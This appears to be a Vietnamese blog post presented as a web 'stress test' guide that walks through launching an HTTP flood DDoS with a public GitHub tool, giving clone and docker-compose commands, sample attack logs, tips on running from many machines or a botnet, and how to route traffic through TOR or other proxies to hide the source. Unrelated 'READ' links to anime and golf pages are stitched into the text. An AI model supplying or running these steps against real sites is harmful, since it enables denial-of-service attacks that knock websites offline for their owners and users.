HTTP flood là một nhánh con của các cuộc tấn công DDoS nói chung, với một điểm khác biệt chính là khi thực hiện HTTP flood, kẻ tấn công thực hiện các yêu cầu HTTP GET/POST/PUT “hợp pháp” để đặt thêm tải lên máy chủ web/ứng dụng.

Tuyên bố từ chối trách nhiệm: Bài viết này chỉ dành cho mục đích giáo dục. Bạn phải tự chịu rủi ro nếu làm theo hướng dẫn. Không tấn công trang web mà bạn không sở hữu hoặc bạn không có quyền stress test.

Cách stress test web bằng cách tấn công HTTP Flood

Cách tiếp cận này đặc biệt hiệu quả nếu bạn có thể tìm ra những yêu cầu nào gây tốn kém cho máy chủ. Truy xuất/tính toán một số dữ liệu và gây căng thẳng cho cơ sở dữ liệu/phần cứng máy chủ hoặc tải xuống các tệp lớn hơn buộc lưu lượng phải bổ sung qua mạng. Yêu cầu HTTP càng nhiều thì càng tốt.

Các cuộc tấn công HTTP flood có thể khiến ứng dụng được nhắm mục tiêu không phản hồi, hoặc thậm chí làm sập hoàn toàn ứng dụng. Và hôm nay chúng ta sẽ tìm hiểu thêm về cách tấn công HTTP flood.

Thực hiện tấn công HTTP Flood

Mình có tìm được một công cụ thực hiện các cuộc tấn công HTTP flood và mình sẽ hướng dẫn các bạn cách sử dụng nó một cách ngắn gọn. Bạn có thể xem công cụ đó tại đây. Nếu bạn muốn làm theo hướng dẫn này thì hãy chuẩn bị PC/máy chủ của bạn bằng cách cài đặt Docker và chạy lệnh docker -omp

READ  NOBAR GOLF, NARAAJIE BUAT SEJARAH!

Bước này khá dễ nên mình sẽ bỏ qua, sau khi Docker đã sẵn sàng, bạn chỉ cần sao chép kho lưu trữ, điều hướng đến thư mục gốc của dự án và chạy lệnh docker-compos:

git clone https://github.com/JPLeoRX/tor-flood-attack.git
cd tor-flood-attack
docker-compose up --build -d && docker-compose logs -f -t

Bạn sẽ thấy nhật ký build và sau đó các container sẽ được tạo:

...
Successfully built 7d3537fa2051
Successfully tagged tor-flood-attack_app:latest
Creating tor-flood-attack_app_1  ... done
Creating tor-flood-attack_app_2  ... done
Creating tor-flood-attack_app_3  ... done
Creating tor-flood-attack_app_4  ... done
Creating tor-flood-attack_app_5  ... done
Creating tor-flood-attack_app_6  ... done
Creating tor-flood-attack_app_7  ... done
Creating tor-flood-attack_app_8  ... done
Creating tor-flood-attack_app_9  ... done
Creating tor-flood-attack_app_10 ... done
Creating tor-flood-attack_app_11 ... done
Creating tor-flood-attack_app_12 ... done
...

Dành thêm vài phút để công cụ khởi chạy TOR và Privoxy, và nếu thành công, bạn sẽ thấy đầu ra tương tự như này, hiển thị cho bạn số liệu thống kê của từng yêu cầu tấn công:

...
app_1  | 2022-02-27T14:50:39.803225587Z debug_stats(): ----------------------- 
app_1  | 2022-02-27T14:50:39.803292708Z debug_stats(): https://XXXXXX.com
app_1  | 2022-02-27T14:50:39.804966586Z debug_stats(): Total responses count: 390
app_1  | 2022-02-27T14:50:39.805010847Z debug_stats(): Success responses: 390
app_1  | 2022-02-27T14:50:39.805024164Z debug_stats(): Execution time is 1.06 s, speed is 369.1 r/s
...

Giờ bạn chỉ cần xem trang web mục tiêu phản hồi chậm như thế nào. Chỉ cần đảm bảo chọn một mục tiêu.

Như với bất kỳ cuộc tấn công DDoS nào – từ khóa ở đây là “phân tán”, HTTP flood sẽ cực kỳ hiệu quả khi được khởi chạy từ một số máy chủ/PC cùng một lúc. Bạn càng có nhiều phiên đang chạy thì bạn càng có thể gây căng thẳng cho trang web mục tiêu.

READ  ALL IN ONE "Võ sĩ Baki" | Season 2 (P1) | AL Anime

Ngoài ra, bạn cũng có thể thử các cài đặt hiệu suất như được mô tả trong README.md, bạn có thể gửi nhiều yêu cầu hơn mỗi giây từ kết nối của mình.

Tại sao cách tấn công HTTP flood không hiệu quả?

Vấn đề lớn nhất là TOR proxy (mặc dù rất tốt trong việc ẩn địa chỉ IP của máy bạn) có những nhược điểm riêng. Trước hết, nó chậm, các yêu cầu được thực hiện thông qua TOR chậm hơn rất nhiều. Sau đó, chúng ta gặp sự cố ngắt kết nối liên tục, proxy TOR có thể ngắt kết nối, từ chối kết nối,… Nhìn chung, điều này khá phiền và trong trường hợp xấu nhất, khoảng 1/3 yêu cầu của bạn có thể bị mất do những vấn đề này.

Thực sự rất dễ để bất kỳ máy chủ web nào chặn tất cả lưu lượng truy cập đến từ TOR. Vậy nên nếu bạn vẫn muốn thực hiện cuộc tấn công và không ngại để lộ IP của mình (ví dụ: nếu bạn chạy một mạng botnet) thì bạn có thể làm như vậy. Chỉ cần thay đổi biến ENABLE_TOR thành 0 trong docker-compos.yml:

...
ENABLE_TOR: 0
...

Hơn nữa, nếu bạn biết mình đang làm gì, bạn có thể đặt proxy HTTP của riêng mình trong main_aiohttp.py bằng cách ghi đè biến proxy trong hàm epoch:

...
async def epoch(epoch_number: int):
    ...
    # For each target
    for i in range(0, len(LIST_OF_URLS)):
        ...
        proxy = None
        if ENABLE_TOR:
            proxy = "http://127.0.0.1:8118"
        else:
            print('epoch(): WARNING!!!! TOR is disabled!!!!')
        ...
    ...
...

Chỉ cần lưu ý rằng việc chặn địa chỉ IP của máy tính hoặc VPN của bạn cũng khá dễ dàng.

READ  Tóm Tắt Anime Hay - Em Gái Tôi Là Ma Vương - Phần 2 - Tóm Tắt Anime

Tuy nhiên, mặc dù có những nhược điểm trên, nhưng HTTP flood có thể có hiệu quả trên các ứng dụng web không có bất kỳ biện pháp phòng chống DDoS tự động nào.



Người nổi tiếng

Rate this post